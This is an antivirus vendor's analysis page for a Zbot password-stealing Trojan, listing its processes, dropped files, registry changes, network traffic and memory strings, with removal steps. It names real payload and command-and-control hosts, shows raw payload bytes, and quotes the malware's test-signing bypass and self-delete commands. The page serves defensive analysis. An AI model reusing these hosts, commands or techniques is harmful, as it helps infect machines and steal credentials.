TrojanPSW.Win32.Zbot.4_c573865eae – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan-PSW creates the following process(es):

mlose.exe:1056
%original file name%.exe:1456
opera_autoupdater.exe:1200

The Trojan-PSW injects its code into the following process(es):

roguir.exe:1084
Explorer.EXE:1684

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process roguir.exe:1084 makes changes in the file system.

The Trojan-PSW creates and/or writes to the following file(s):

%System%\drivers\13c40f.sys (745 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT.LOG (6272 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT (6580 bytes)

The process mlose.exe:1056 makes changes in the file system.

The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\Olyxeg\roguir.exe (4827 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KMO1F7C.bat (173 bytes)

The process %original file name%.exe:1456 makes changes in the file system.

The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\opera_autoupdater.exe (23 bytes)

The process opera_autoupdater.exe:1200 makes changes in the file system.

The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\mlose.exe (3715 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\0403UKc[1].elf (1799 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)

Registry activity

The process roguir.exe:1084 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Wuokambiaq]
"4fgii8i" = " lBGJ45fYhcV JcKHGU=ÃƒÂ§Ã‚Â¸Ã…Â¾"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1F 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "97 12 73 65 F0 3F 70 B6 08 FC 93 6D 68 D2 D3 45"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan-PSW deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process mlose.exe:1056 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "05 94 1B 13 25 A6 6A C8 D5 E7 95 4D 6F C2 FC 99"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan-PSW deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process %original file name%.exe:1456 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C2 3C 29 89 F5 A4 BE 1E 58 1C 4A 99 D6 7D 66 AD"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"opera_autoupdater.exe" = "opera_autoupdater"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan-PSW modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan-PSW modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan-PSW modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process opera_autoupdater.exe:1200 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"mlose.exe" = "mlose"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "78 9B E0 9D DB 58 39 25 1A F0 31 62 AC D6 70 D7"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan-PSW modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan-PSW modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan-PSW modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan-PSW deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5	File path
1fe01bf0357e8f40244e87a521e319c7	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\opera_autoupdater.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
mlose.exe:1056
%original file name%.exe:1456
opera_autoupdater.exe:1200
Delete the original Trojan-PSW file.
Delete or disinfect the following files created/modified by the Trojan-PSW:
%System%\drivers\13c40f.sys (745 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT.LOG (6272 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Olyxeg\roguir.exe (4827 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KMO1F7C.bat (173 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\opera_autoupdater.exe (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\mlose.exe (3715 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\0403UKc[1].elf (1799 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	1652	2048	3.52041	0d5b078af2e5ff8411b22f541d12ff63
.rdata	8192	896	1024	2.8164	38c698ff3738e5c4265e0cb20be36f70
.data	12288	2160	2560	4.63452	8f7d798669c92c8dfc1b5fb8ce8c149a
.rsrc	16384	11504	11776	3.09398	c14878b832c03d2374e1f989b3273ca4
.reloc	28672	164	512	0.832292	a63a54b6b1497505033235ae487f5e57

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://thepristinehorizon.com/images/0403UKc.elf	216.157.85.89
hxxp://maerholst.com/1/?s=0&v=170393861	192.243.126.53
hxxp://maerholst.com/1/?s=1&v=170393861	192.243.126.53
hxxp://maerholst.com/1/?s=2&v=170393861	192.243.126.53
hxxp://maerholst.com/1/?s=4&v=170393861	192.243.126.53
hxxp://maerholst.com/1/?s=3&v=170393861	192.243.126.53
hxxp://maerholst.com/1/?s=5&v=170393861	192.243.126.53

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /1/?s=1&v=170393861 HTTP/1.1

Accept: */*

Accept-Language: en-us

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: maerholst.com

Connection: Close

HTTP/1.1 403 Forbidden

Date: Fri, 20 Jun 2014 08:30:34 GMT

Server: Apache/2.2.22 (Debian)

Vary: Accept-Encoding

Content-Length: 283

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>403 Forbidden</title>.</head><body>.<h1>Forbidden</h1>.<p>You don't have permission to access /1/.on this server.</p>.<hr>.<address>Apache/2.2.22 (Debian) Server at maerholst.com Port 80</address>.</body></html>...

GET /1/?s=5&v=170393861 HTTP/1.1

Accept: */*

Accept-Language: en-us

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: maerholst.com

Connection: Close

HTTP/1.1 403 Forbidden

Date: Fri, 20 Jun 2014 08:30:41 GMT

Server: Apache/2.2.22 (Debian)

Vary: Accept-Encoding

Content-Length: 283

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>403 Forbidden</title>.</head><body>.<h1>Forbidden</h1>.<p>You don't have permission to access /1/.on this server.</p>.<hr>.<address>Apache/2.2.22 (Debian) Server at maerholst.com Port 80</address>.</body></html>...

GET /1/?s=2&v=170393861 HTTP/1.1

Accept: */*

Accept-Language: en-us

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: maerholst.com

Connection: Close

HTTP/1.1 403 Forbidden

Date: Fri, 20 Jun 2014 08:30:34 GMT

Server: Apache/2.2.22 (Debian)

Vary: Accept-Encoding

Content-Length: 283

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>403 Forbidden</title>.</head><body>.<h1>Forbidden</h1>.<p>You don't have permission to access /1/.on this server.</p>.<hr>.<address>Apache/2.2.22 (Debian) Server at maerholst.com Port 80</address>.</body></html>...

GET /images/0403UKc.elf HTTP/1.1

Accept: text/*, application/*

User-Agent: Updates downloader

Host: thepristinehorizon.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Fri, 20 Jun 2014 08:30:31 GMT

Server: Apache/2.2.25 (Unix) mod_ssl/2.2.25 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635

Last-Modified: Tue, 04 Mar 2014 08:01:31 GMT

ETag: "440923-7e8ee-4f3c34fe95e48"

Accept-Ranges: bytes

Content-Length: 518382

Content-Type: text/plain

ZZP..MN/.fNa..N...~.?.N...cc..JZ...b..Qbz.N..;o.......&...n...)...NB.. ...nb..n...n...n&..n..v*...Ch...b..v....,..M`.5.a...&..Le..J`...,[.A...Ne...J..Lm..I...I0..&c...2..Nb..Jb(.....]...Ob..Gb..Fb..>cB..R@.^?.....w........NgB.Mb..D...Dc..Nb.w[...M`.."j..rc.FG....Br.N...M?..NL..6.@..|.r%...,`..Nb..`...:..^N.O2p...(...Ib...LC.N.Y.OZ...k68G...v....`...^.....p.c..q"..qb..M]..N....d..N.<.Fb.-N[.J. ..vb..}...&...M..V.1?.nb@.N...F.B..f ..w\.L.C.6..1K#...=..Z..}.b.}.r..V....Y..........e...Jva.K.8.A.B*.h.5A...N"C.OmE.Nc.......? .N?...B...`t6K....1?.;v?.^Q..N?....M..c.......w...rK........r...1..a.N......u.j<.6... .K...."./<.N....".} .(..>a..?..N........j..R....q..Fb..H....h ..h..;...$c..^.....@.. .5Mn?.F..}....u..r.c...o..c[..MB.6OY..A.o.o.......I.Nb.a`.oIM.q..b.Of....C.....`e.....I2(..Xb..Y...f...M......#l..o1..Z....1 .Mq...R......w?..G..~...vD[...c."..a...)._.....`....".j ......X..F. ..p.u....IQ..o...^B.r...{.v...N!..k..N"C2V..:nz..l .Mu...........?<Rk..Ukb<.3......z.......uh....D../D..;...;.(.wc...Y;....VH41UH..>.D..n@..L....'......}. ..DM.....Jb.2.)..O..}.......(.aK..[.v.......vC~ .-d...x...s!.....K..{N.l..I...2..&.......^........'...Q?.........K...Mn..LO!....tw....m.r...tw"A...@.....;z&..z.fm...w...wd..w......rL.Q. ..{R].}....d....b."........\t..[....q...........r........0......Nt.O[..sr..o@P..v...'......:e...C.wZ' . bK.RY..H.B._HK.V.?6N...@1(..2.ggb..........$b.../.7~K......OP.O.j..oyw.N1..^qp.Nep..SM...(8g..W.r..Db..:F.....6.......6^.(.f..6F..us.a.Nc..K...FbA..n....1..wT`. ....._.f.......n

<<

<<< skipped >>>

GET /1/?s=0&v=170393861 HTTP/1.1

Accept: */*

Accept-Language: en-us

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: maerholst.com

Connection: Close

HTTP/1.1 403 Forbidden

Date: Fri, 20 Jun 2014 08:30:35 GMT

Server: Apache/2.2.22 (Debian)

Vary: Accept-Encoding

Content-Length: 283

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>403 Forbidden</title>.</head><body>.<h1>Forbidden</h1>.<p>You don't have permission to access /1/.on this server.</p>.<hr>.<address>Apache/2.2.22 (Debian) Server at maerholst.com Port 80</address>.</body></html>...

GET /1/?s=4&v=170393861 HTTP/1.1

Accept: */*

Accept-Language: en-us

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: maerholst.com

Connection: Close

HTTP/1.1 403 Forbidden

Date: Fri, 20 Jun 2014 08:30:35 GMT

Server: Apache/2.2.22 (Debian)

Vary: Accept-Encoding

Content-Length: 283

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>403 Forbidden</title>.</head><body>.<h1>Forbidden</h1>.<p>You don't have permission to access /1/.on this server.</p>.<hr>.<address>Apache/2.2.22 (Debian) Server at maerholst.com Port 80</address>.</body></html>...

GET /1/?s=0&v=170393861 HTTP/1.1

Accept: */*

Accept-Language: en-us

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: maerholst.com

Connection: Close

HTTP/1.1 403 Forbidden

Date: Fri, 20 Jun 2014 08:30:34 GMT

Server: Apache/2.2.22 (Debian)

Vary: Accept-Encoding

Content-Length: 283

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>403 Forbidden</title>.</head><body>.<h1>Forbidden</h1>.<p>You don't have permission to access /1/.on this server.</p>.<hr>.<address>Apache/2.2.22 (Debian) Server at maerholst.com Port 80</address>.</body></html>...

GET /1/?s=1&v=170393861 HTTP/1.1

Accept: */*

Accept-Language: en-us

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: maerholst.com

Connection: Close

HTTP/1.1 403 Forbidden

Date: Fri, 20 Jun 2014 08:30:35 GMT

Server: Apache/2.2.22 (Debian)

Vary: Accept-Encoding

Content-Length: 283

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>403 Forbidden</title>.</head><body>.<h1>Forbidden</h1>.<p>You don't have permission to access /1/.on this server.</p>.<hr>.<address>Apache/2.2.22 (Debian) Server at maerholst.com Port 80</address>.</body></html>...

GET /1/?s=3&v=170393861 HTTP/1.1

Accept: */*

Accept-Language: en-us

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: maerholst.com

Connection: Close

HTTP/1.1 403 Forbidden

Date: Fri, 20 Jun 2014 08:30:41 GMT

Server: Apache/2.2.22 (Debian)

Vary: Accept-Encoding

Content-Length: 283

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>403 Forbidden</title>.</head><body>.<h1>Forbidden</h1>.<p>You don't have permission to access /1/.on this server.</p>.<hr>.<address>Apache/2.2.22 (Debian) Server at maerholst.com Port 80</address>.</body></html>...

Map

The Trojan-PSW connects to the servers at the folowing location(s):

Strings from Dumps

roguir.exe_1084_rwx_003B0000_00001000:

kernel32.dll

roguir.exe_1084_rwx_00A40000_00006000:

PSSSSSSh

bcdedit.exe -set TESTSIGNING ON

%s\drivers\%s.sys

\\.\NtSecureSys

ntdll.dll

svchost.exe

EUDC\%d

KeDelayExecutionThread

WinExec

KERNEL32.dll

ExitWindowsEx

USER32.dll

GDI32.dll

RegCloseKey

RegFlushKey

RegCreateKeyExA

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

msvcrt.dll

roguir.exe_1084_rwx_010D0000_0006D000:

.text

`.data

.idata

@.reloc

PSSSSSSh

bcdedit.exe -set TESTSIGNING ON

%s\drivers\%s.sys

\\.\NtSecureSys

ntdll.dll

svchost.exe

EUDC\%d

KeDelayExecutionThread

WinExec

KERNEL32.dll

ExitWindowsEx

USER32.dll

GDI32.dll

RegCloseKey

RegFlushKey

RegCreateKeyExA

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

msvcrt.dll

Invalid parameter passed to C runtime function.

0123456789

\*%Sa

RegDeleteKeyExW

gdiplus.dll

GdiplusShutdown

#ÛY_

5>(4 6 3

>5#? = 8

*:4.::,|

y.dRR

&*("?#=1

http://maerholst.com/1/?s=%u&v=%u

REPORT

userenv.dll

del "%s"

if exist "%s" goto d

del /F "%s"

HTTP/1.1

http://www.google.com/

http://www.bing.com/

t.Ht$HHt

w%fkN

L$Â$

rnÊ

m9.td

McaG%n%c

zcÁ

MsgWaitForMultipleObjects

GetKeyboardState

RegCreateKeyExW

RegQueryInfoKeyW

RegDeleteKeyW

RegOpenKeyExW

RegEnumKeyExW

CryptGetKeyParam

CryptImportKey

CryptDestroyKey

UrlUnescapeA

PathIsURLW

SHLWAPI.dll

ShellExecuteW

Secur32.dll

ole32.dll

WS2_32.dll

